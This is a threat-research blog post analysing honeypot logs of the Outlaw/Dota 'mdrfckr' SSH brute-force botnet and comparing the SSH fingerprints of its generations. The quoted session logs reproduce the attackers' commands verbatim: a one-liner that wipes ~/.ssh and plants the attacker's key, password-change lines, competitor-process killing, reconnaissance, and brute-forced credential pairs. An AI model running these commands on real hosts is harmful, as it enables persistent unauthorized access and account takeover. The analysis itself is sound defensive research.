mdrfckr: The Outlaw/Dota Botnet Changes Its SSH Fingerprint Again

Demodex — Thu, 01 Oct 2026 17:40:26 +0000

On September 27, my honeypot recorded a new generation of the Outlaw group's cryptomining botnet, featuring a modified client cryptographic proposal configuration and a significant regression.

On 2026-05-15, researcher Gokul Prema Thangavel published a guest post on the SANS Internet Storm Center describing the third generation of the mdrfckr botnet, not a new campaign by the Outlaw cybercrime organization: a new SSH fingerprint with an updated client SSH banner, SSH-2.0-libssh_0.11.1. The third generation, hassh 03a80b21afa810682a776a7d42e5e6fb, used compromise and persistence techniques identical to those of the previous one.

Recently, my Cowrie honeypot recorded yet another generation of the same organization's botnet over the period from 2026-09-25 to 2026-09-30: three sessions with an average duration of approximately 4.6 seconds from IP address 36.134.69.15 (ASN AS56044).

What Is Already Known About the Outlaw/Dota Organization's mdrfckr Campaigns

The campaign, known by the mdrfckr comment string in the public SSH key, belongs to the Outlaw botnet, also known as Dota, and has been documented by researchers since at least 2018. The botnet spreads via SSH brute-force and removes artifacts of competing botnets from compromised hosts.

In October-November 2022, port22 recorded 12,913 unique IPs from 152 countries associated with mdrfckr. The client in use was libssh-0.6.3 with hassh 51cba57125523ce4b9db67714a90bf6e. The bot performed system reconnaissance, changed the root password, and added an SSH key to authorized_keys. On December 7, 2022, the botnet switched to libssh_0.9.5/0.9.6 with hassh f555226df1963d1d3c09daf865abdc9a. Approximately 30,000 IPs were recorded, along with commands to remove the protection from .ssh and to reinfect the host. The bot also deleted the files and processes of competitors. The SSH key remained unchanged. In April 2026, SANS ISC recorded a new client, libssh_0.11.1, with hassh 03a80b21afa810682a776a7d42e5e6fb. On a single sensor, 24 IPs and 3,473 SSH records over 8 days were discovered, April 14-21. The TTPs remained nearly unchanged: reconnaissance, key injection, password change, and competitor cleanup.

Generation	hassh	client.version	First documented	Source
Gen-1	`51cba5712..`	libssh 0.6.0/0.6.3	10.2022	port22
Gen-2	`f555226df..`	libssh 0.9.5/0.9.6	12.2022	port22
Gen-3	`03a80b21a..`	libssh 0.11.1	04.2026	SANS ISC

Analysis of Data from My Own Observation

Gen-2

In total, my honeypot recorded 618 sessions from 163 unique IP addresses in various countries around the world.

The most frequently used SSH authentication credential combinations were: 345gs5662d34/345gs5662d34, root/3245gs5662d34, test/3245gs5662d34, and user/3245gs5662d34. It is worth noting that Cowrie selectively records and identifies the login and password during an SSH session, so the data presented does not necessarily reflect the complete set of credentials used.

SSH client banner: researchers recorded the use of two client banner versions: SSH-2.0-libssh_0.9.5 and SSH-2.0-libssh_0.9.6. Within my own observation, only one version was recorded: SSH-2.0-libssh_0.9.6.

During the Gen-2 activity period, 42 waves were recorded. The intervals between waves, measured from the start of one wave to the start of the next, are characterized by the following values:


Metric	Value
Median interval	131 min (~2.2 h)
Mean interval	128 min
Minimum interval	52 min
Maximum interval	260 min (~4.3 h)

The intervals are mostly concentrated around the ~2-2.5 hour mark, with no pronounced chaotic outliers; the waves were observed around the clock, with no daily pauses. This periodicity may indicate the use of a centralized scheduling mechanism rather than random activity from distributed nodes. Thus, the recorded data indicates that Gen-2 generates a new wave approximately every 2-2.5 hours.

The waves themselves are short-lived: from a few minutes to approximately 2 hours, with a median of 17 minutes. Each wave covers between 1 and 49 sessions from different IP addresses, with a median of 10 sessions. A characteristic example was observed during the first waves on September 27:

07:35  9 sessions   →  +91 min  →  09:06  24 sessions
10:52  9 sessions   →  +70 min  →  12:02  12 sessions
14:46 12 sessions   →  +119 min →  16:45  32 sessions

The examples above demonstrate an irregular number of sessions within individual waves while the intervals between them remain relatively stable.

Gen-2 sessions fall into three distinct categories: 407 sessions (65.86%) with no commands at all, 203 sessions (32.85%) with key injection only, and 8 sessions (1.29%) with the full persistence chain. One representative session from each category is shown below, all with hassh f555226df1963d1d3c09daf865abdc9a.

The first and largest category: the bot connects, makes a single login attempt, and initiates a session teardown; the entire session lasts 1.6 seconds. No commands are executed after successful authentication. The bot is most likely checking the validity of the login/password pair and marking the host as accessible.

--- session 1bb450cbecb8 ---
23:31:29  CONNECT 218.90.138.78:2879
23:31:29  VER    SSH-2.0-libssh_0.9.6
23:31:29  KEX    hassh:f555226df1963d1d3c09daf865abdc9a
23:31:30  LOGIN  root/3245gs5662d34
23:31:30  CLOSED duration 1.6 s

The second-largest category is a two-command chain, after which the bot tears down the session:

The first command changes to the home directory (cd ~) and removes the immutable and append-only protection attributes from the ~/.ssh folder using the chattr and lockr utilities, fully opening it for editing or deletion.
It deletes all of the user's current SSH keys, creates a new empty .ssh folder, and writes its own malicious key there for remote access, then resets and completely closes access to the .ssh folder for other users, leaving permissions for the owner only, and returns to the home directory.
The bot initiates a session teardown.

--- session 1b5a00b74de8 ---
15:28:36  CONNECT 106.12.127.112:59978
15:28:36  VER    SSH-2.0-libssh_0.9.6
15:28:37  KEX    hassh:f555226df1963d1d3c09daf865abdc9a
15:28:38  LOGIN  root/cesar
15:28:38  CMD    cd ~; chattr -ia .ssh; lockr -ia .ssh
15:28:38  CMD!   lockr -ia .ssh  (command not found)
15:28:39  CMD    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~    [KEY]
15:28:40  FILE↓  /root/.ssh/authorized_keys  sha256:a8460f446be54041… (duplicate)
15:28:46  CLOSED duration 10.3 s

The third category has the full persistence chain.

This category demonstrates the complete sequence of actions following successful authentication. Unlike the 2022 port22 report, where reconnaissance preceded key injection and all actions were performed within a single flow in approximately 15.8 seconds, the sessions under examination show a split into two phases.

In the first phase, the SSH key injection is performed automatically, identical to the second category. This is followed by a pause of approximately 28 seconds, after which the second phase begins: execution of the password change and system reconnaissance commands.

A distinctive feature of this scenario is a stable interval of approximately one second between consecutive second-phase commands. This behavior was observed in all recorded sessions of this type, except for root. Based on the available data, it is impossible to definitively determine the cause of the 28-second delay and the regular one-second interval between commands. This may be related to the bot's own operating logic, a mechanism for triggering the next stage of the attack, the specifics of its interaction with the compromised environment, or an imitation of human actions; however, additional observations are needed to confirm any of these versions.

During the second phase, the account password is changed. Since the session runs as an ordinary user, developer, the bot uses the passwd utility to change its password. First, a command with echo -e is executed, and one second later, a retry without -e. This sequence can be viewed as a compatibility mechanism for different shell implementations, since they may handle escape sequences differently. The new password, l7SXVORC7FF7, differs from the passwords recorded in other full sessions: zSJ5LnyXoswg for ubuntu, YLM1p2XmQuOO for ansible, 6NKne7bl9wIH for jp, and JDCVmAclzepc for root. This indicates the use of a unique password for each session.

System reconnaissance. During this phase, the bot executes 14 commands aimed at collecting information about the hardware and software environment: the processor via /proc/cpuinfo and lscpu, memory via free, running processes via top, architecture via uname, active users via w and whoami, cron jobs via crontab, and disk space via df. The first of these is executed one second before the password change. A check of the location and parameters of the ls utility is also performed. The bulk of this set matches the commands recorded in previous research, including in 2022.

--- session 1a6a4e1cfda3 ---
11:12:12  CONNECT 140.249.189.35:60082
11:12:14  VER    SSH-2.0-libssh_0.9.6
11:12:14  KEX    hassh:f555226df1963d1d3c09daf865abdc9a
11:12:15  LOGIN  developer/12345678
11:12:16  CMD    cd ~; chattr -ia .ssh; lockr -ia .ssh
11:12:16  CMD!   lockr -ia .ssh  (command not found)
11:12:17  CMD    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~    [KEY]
11:12:17  FILE↓  /home/developer/.ssh/authorized_keys  sha256:a8460f446be54041… (duplicate)
11:12:45  CMD    cat /proc/cpuinfo | grep name | wc -l    [RECON]
11:12:46  CMD    echo -e "12345678\nl7SXVORC7FF7\nl7SXVORC7FF7"|passwd|bash
11:12:47  CMD    echo "12345678\nl7SXVORC7FF7\nl7SXVORC7FF7\n"|passwd
11:12:48  CMD    cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'    [RECON]
11:12:49  CMD    free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'    [RECON]
11:12:50  CMD    ls -lh $(which ls)    [RECON]
11:12:51  CMD    crontab -l    [RECON]
11:12:52  CMD    w
11:12:53  CMD    uname -m    [RECON]
11:12:54  CMD    cat /proc/cpuinfo | grep model | grep name | wc -l    [RECON]
11:12:55  CMD    top    [RECON]
11:12:56  CMD    uname    [RECON]
11:12:57  CMD    uname -a    [RECON]
11:12:58  CMD    whoami    [RECON]
11:12:59  CMD    lscpu | grep Model    [RECON]
11:13:00  CMD    df -h | head -n 2 | awk 'FNR == 2 {print $2;}'    [RECON]
11:13:00  CLOSED duration 47.9 s

I would also like to draw attention separately to the differences in the command execution scenario depending on account privileges. In the session where the bot gained access to the system under the root account, the command sequence differed from sessions with ordinary users. In particular, the root password was changed directly using chpasswd, whereas in the developer user session the passwd utility was used, with the current and new passwords passed through stdin.

In addition, the root session contained an extra stage of cleanup against potential competitors. Immediately after the password change, the bot executed commands to delete /tmp/secure.sh and /tmp/auth.sh, terminate the corresponding processes, and clear /etc/hosts.deny. This stage is absent in the developer user session under examination.

After that, the bot proceeded with standard system reconnaissance: gathering information about the processor, memory, cron jobs, active users, system architecture, running processes, and available disk space.

It is also worth noting the difference in the session's time structure. In the previously reviewed ordinary-user scenario, a pause of approximately 28 seconds was observed after the SSH key injection, after which the bot moved on to executing reconnaissance commands at intervals of about one second. In the root session under review, this delay is absent: after the key is installed, the password change, competitor cleanup, and reconnaissance commands are executed almost continuously, over the next few seconds.

This may indicate that the timing sequence of actions depends on the session context, in particular on the privileges of the compromised account. At the same time, it is impossible to definitively establish the reason for the absence of the 28-second delay on the basis of a single root session.

--- session 405749332e0e ---
02:05:39  CONNECT 46.6.127.33:8069
02:05:39  VER    SSH-2.0-libssh_0.9.6
02:05:39  KEX    hassh:f555226df1963d1d3c09daf865abdc9a
02:05:39  LOGIN  root/3245gs5662d34
02:05:40  CMD    cd ~; chattr -ia .ssh; lockr -ia .ssh
02:05:40  CMD!   lockr -ia .ssh  (command not found)
02:05:40  CMD    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~    [KEY]
02:05:40  FILE↓  /root/.ssh/authorized_keys  sha256:a8460f446be54041… (duplicate)
02:05:40  CMD    cat /proc/cpuinfo | grep name | wc -l    [RECON]
02:05:40  CMD    echo "root:JDCVmAclzepc"|chpasswd|bash    [PASS]
02:05:40  PASSWD password change for root  [PASS]
02:05:40  CMD    rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;    [KILL] [WIPE]
02:05:41  FILE↓  /etc/hosts.deny  sha256:01ba4719c80b6fe9…
02:05:41  CMD    cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'    [RECON]
02:05:41  CMD    free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'    [RECON]
02:05:41  CMD    ls -lh $(which ls)    [RECON]
02:05:41  CMD    crontab -l    [RECON]
02:05:41  CMD    w
02:05:42  CMD    uname -m    [RECON]
02:05:42  CMD    cat /proc/cpuinfo | grep model | grep name | wc -l    [RECON]
02:05:42  CMD    top    [RECON]
02:05:42  CMD    uname    [RECON]
02:05:42  CMD    uname -a    [RECON]
02:05:43  CMD    whoami    [RECON]
02:05:43  CMD    lscpu | grep Model    [RECON]
02:05:43  CMD    df -h | head -n 2 | awk 'FNR == 2 {print $2;}'    [RECON]
02:05:43  CLOSED duration 3.8 s

Gen-3

A total of 107 sessions from 27 unique IP addresses of this botnet generation were recorded.

The most frequently used SSH authentication credential combinations were: 345gs5662d34/345gs5662d34, root/3245gs5662d34, root/Admin!@123, and root/metalica.

SSH client banner: unlike Gen-2, Gen-3 uses a newer client banner version, SSH-2.0-libssh_0.11.1.

Gen-3 exhibits the same wave structure, but at a noticeably slower pace:


Metric	Gen-2	Gen-3
Waves	42	21
Median interval	131 min (~2.2 h)	224 min (~3.7 h)
Maximum interval	260 min (~4.3 h)	823 min (~13.7 h)

The median interval between Gen-3 waves is approximately 1.7 times longer than that of Gen-2, 224 versus 131 minutes. Thus, the recorded Gen-3 activity occurs approximately 1.7 times less frequently.

Gen-3 sessions also fall clearly into two categories: 70 sessions (65.4%) contain no commands, while 37 sessions (34.6%) show key injection. Overall, the command sequence and execution pattern fully correspond to the first and second categories defined for Gen-2.

--- session 096a323227a8 ---
06:05:07  CONNECT 111.238.174.6:34630
06:05:07  VER    SSH-2.0-libssh_0.11.1
06:05:07  KEX    hassh:03a80b21afa810682a776a7d42e5e6fb
06:05:09  LOGIN  rena/rena
06:05:09  CMD    cd ~; chattr -ia .ssh; lockr -ia .ssh
06:05:09  CMD!   lockr -ia .ssh  (command not found)
06:05:10  CMD    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~    [KEY]
06:05:10  FILE↓  /home/rena/.ssh/authorized_keys  sha256:a8460f446be54041… (duplicate)
06:05:14  CLOSED duration 6.7 s

--- session 0ee1ff35c971 ---
11:13:53  CONNECT 200.165.70.141:41461
11:13:53  VER    SSH-2.0-libssh_0.11.1
11:13:53  KEX    hassh:03a80b21afa810682a776a7d42e5e6fb
11:13:54  LOGIN  root/3245gs5662d34
11:13:54  CLOSED duration 1.3 s

Gen-3 demonstrates preservation of the previous generation's core behavioral pattern, albeit at a lower intensity.

Gen-4

Finally, we come to the most important finding of this short observation period: the fourth recorded generation of the mdrfckr botnet, Gen-4. Its detection makes it possible to trace the further evolution of the threat and compare it with previous versions.

My honeypot recorded Gen-4 on September 27 in a short 9-second window, from 12:07:11 to 12:07:20. During this time, three sessions occurred from a single IP address, 36.134.69.15, China Mobile, China. At the behavioral level, the sessions are practically indistinguishable from the already known Gen-3 sessions: the same SSH client banner SSH-2.0-libssh_0.11.1, the same dictionary-based credential brute-forcing, and an identical sequence of actions after a successful login.

--- session d7bd19768db7 ---
12:07:11  CONNECT 36.134.69.15:43552
12:07:11  VER    SSH-2.0-libssh_0.11.1
12:07:11  KEX    hassh:e57221504a700ba6ecfb7c89dbf0009b
12:07:12  LOGIN  andres/123
12:07:13  CMD    cd ~; chattr -ia .ssh; lockr -ia .ssh
12:07:13  CMD!   lockr -ia .ssh  (command not found)
12:07:14  CMD    cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~    [KEY]
12:07:14  FILE↓  /home/andres/.ssh/authorized_keys  sha256:a8460f446be54041… (duplicate)
12:07:20  CLOSED duration 9.0 s

--- session 44a898e3ffd3 ---
12:07:14  CONNECT 36.134.69.15:44418
12:07:14  VER    SSH-2.0-libssh_0.11.1
12:07:15  KEX    hassh:e57221504a700ba6ecfb7c89dbf0009b
12:07:16  LOGIN  345gs5662d34/345gs5662d34
12:07:17  CLOSED duration 2.2 s

--- session 45a4fe1199eb ---
12:07:17  CONNECT 36.134.69.15:44884
12:07:17  VER    SSH-2.0-libssh_0.11.1
12:07:17  KEX    hassh:e57221504a700ba6ecfb7c89dbf0009b
12:07:19  LOGIN  andres/3245gs5662d34
12:07:20  CLOSED duration 2.7 s

All three recorded Gen-4 sessions have an identical hassh, e57221504a700ba6ecfb7c89dbf0009b. At the same time, three different credential combinations were used for authentication: andres/123, 345gs5662d34/345gs5662d34, and andres/3245gs5662d34. Given the small number of recorded sessions, there is insufficient data to state with full confidence that Gen-4 fully follows the behavioral pattern of previous generations. However, even this limited sample revealed a difference between the generations: a change in the SSH client's cryptographic proposal configuration.

Comparing the Cryptography of mdrfckr Generations

Generation	hassh	client.version
Gen-2	`f555226df1963d1d3c09daf865abdc9a`	SSH-2.0-libssh_0.9.6
Gen-3	`03a80b21afa810682a776a7d42e5e6fb`	SSH-2.0-libssh_0.11.1
Gen-4	`e57221504a700ba6ecfb7c89dbf0009b`	SSH-2.0-libssh_0.11.1

1. Key Exchange

Algorithm	Gen-2	Gen-3	Gen-4
curve25519-sha256	✅	✅	✅
curve25519-sha256@libssh.org	✅	✅	✅
ecdh-sha2-nistp256	✅	✅	✅
ecdh-sha2-nistp384	✅	✅	✅
ecdh-sha2-nistp521	✅	✅	✅
diffie-hellman-group18-sha512	✅	✅	✅
diffie-hellman-group16-sha512	✅	✅	✅
diffie-hellman-group-exchange-sha256	✅	✅	✅
diffie-hellman-group14-sha256	✅	✅	✅
diffie-hellman-group14-sha1	✅	❌	❌
diffie-hellman-group1-sha1	✅	❌	❌
ext-info-c	✅	✅	✅
kex-strict-c-v00@openssh.com	❌	✅	✅
Разом	12	11	11

2. Host Key

Algorithm	Gen-2	Gen-3	Gen-4
ssh-ed25519	✅	✅	✅
ecdsa-sha2-nistp521	✅	✅	✅
ecdsa-sha2-nistp384	✅	✅	✅
ecdsa-sha2-nistp256	✅	✅	✅
sk-ssh-ed25519@openssh.com (FIDO2)	❌	✅	✅
sk-ecdsa-sha2-nistp256@openssh.com (FIDO2)	❌	✅	✅
rsa-sha2-512	✅	✅	✅
rsa-sha2-256	✅	✅	✅
ssh-rsa (SHA-1, застарілий)	✅	❌	❌
ssh-dss (DSA, застарілий)	✅	❌	❌
Разом	8	8	8

3. encCS

Algorithm	Тип	Gen-2	Gen-3	Gen-4
chacha20-poly1305@openssh.com	AEAD	❌	✅	❌
aes256-gcm@openssh.com	AEAD	✅	✅	❌
aes128-gcm@openssh.com	AEAD	✅	✅	❌
aes256-ctr	CTR	✅	✅	✅
aes192-ctr	CTR	✅	✅	✅
aes128-ctr	CTR	✅	✅	✅
aes256-cbc	CBC (legacy)	✅	❌	✅
aes192-cbc	CBC (legacy)	✅	❌	✅
aes128-cbc	CBC (legacy)	✅	❌	✅
3des-cbc	legacy	✅	❌	✅
Разом		9	6	7

4. MAC

Algorithm	Gen-2	Gen-3	Gen-4
hmac-sha2-256-etm@openssh.com	✅	✅	❌
hmac-sha2-512-etm@openssh.com	✅	✅	❌
hmac-sha1-etm@openssh.com	✅	❌	❌
hmac-sha2-256	✅	✅	❌
hmac-sha2-512	✅	✅	❌
hmac-sha1	✅	❌	✅
Разом	6	4	1

5. compCS

Algorithm	Gen-2	Gen-3	Gen-4
none	✅	✅	✅
zlib@openssh.com	❌	✅	✅

The tables show that the three mdrfckr generations use noticeably different sets of SSH algorithms. Gen-2 has the broadest proposal, supporting both modern algorithms and legacy mechanisms such as SHA-1, CBC, and 3DES. This provides broad coverage of different types of SSH servers.

Gen-3, by contrast, presents a modernized configuration: legacy SHA-1, CBC, and 3DES have been removed from the set, while modern AEAD ciphers are present, including AES-GCM and ChaCha20-Poly1305. FIDO2 algorithms also appear, along with kex-strict-c, which is associated with protection against Terrapin. At the same time, this configuration reduces compatibility with older SSH systems.

Gen-4 retains the same kexAlgs and keyAlgs foundation as Gen-3, but has a fundamentally different symmetric encryption and MAC configuration. AEAD ciphers and SHA-2 MACs disappear, while CBC, 3DES, and hmac-sha1 return.

This leaves an open question: why was Gen-4 created with such a noticeable regression in cryptographic configuration? If the goal was to expand coverage of legacy systems, Gen-2 already had a sufficiently broad set of algorithms for such a scenario. Moreover, if the task was merely to form a new hassh fingerprint, bringing back deprecated algorithms was not necessary: theoretically, it would have been enough to change the order of their proposal or otherwise modify the algorithm lists.

Therefore, the observed Gen-4 change should be viewed not simply as the creation of a new cryptographic profile, but as a separate modification of the SSH client whose purpose currently has no unambiguous explanation. Based on the available data, at least two scenarios can be considered: Gen-4 may have been specifically configured to interact with a certain category of legacy systems, or the change to the cryptographic proposal may have been part of a mechanism for differentiating generations and evading hassh-based detections. At this stage, the available observations are insufficient to definitively confirm either scenario.

DEV Community: Demodex